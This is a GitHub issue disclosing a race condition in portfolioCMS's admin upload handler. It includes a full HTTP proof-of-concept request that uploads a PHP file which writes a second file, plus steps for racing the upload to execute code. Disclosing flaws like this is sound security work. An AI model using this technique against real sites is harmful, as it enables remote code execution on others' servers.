Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

portfolioCMS race condition vulnerability exists #1

Open
excellentoldtv opened this issue Jun 30, 2021 · 0 comments
Open

portfolioCMS race condition vulnerability exists #1

excellentoldtv opened this issue Jun 30, 2021 · 0 comments

Comments

@excellentoldtv
Copy link
Owner

Exploit Title: portfolioCMS race condition vulnerability exists

portfolioCMS GitHub: https://github.com/teklynk/portfolioCMS

Vulnerable files : localhost/admin/uploads.php

Analysis report:

On line 8, first move the file, then on line 10 determine the file type
1

So, we can keep submitting file upload requests, and then go to the directory where the file is being uploaded and access the file, and we can execute the code

POC:

POST //admin/uploads.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 336
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywN8AdyBTi09gIOM4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1//admin/uploads.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rba1rum9bpoqqila6bgiq80eh7
Connection: close

------WebKitFormBoundarywN8AdyBTi09gIOM4
Content-Disposition: form-data; name="fileToUpload"; filename="shell.php"
Content-Type: application/octet-stream

<?php
$file=fopen('test.php','w');
$info=base64_decode("PD9waHAgcGhwaW5mbygpOyA/Pg==");
fwrite($file,$info);
fclose($file);
?>
------WebKitFormBoundarywN8AdyBTi09gIOM4—

I keep sending this POC using the BURP SUITE,At the same time,Go to http://127.0.0.1/upoads/shell.php, To execute the code I uploaded.(If you're unlucky, you'll visit links a little too often,lol)
2

Upon successful execution of the code, the file for test.php will be generated in the same directory and accessed directly
3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant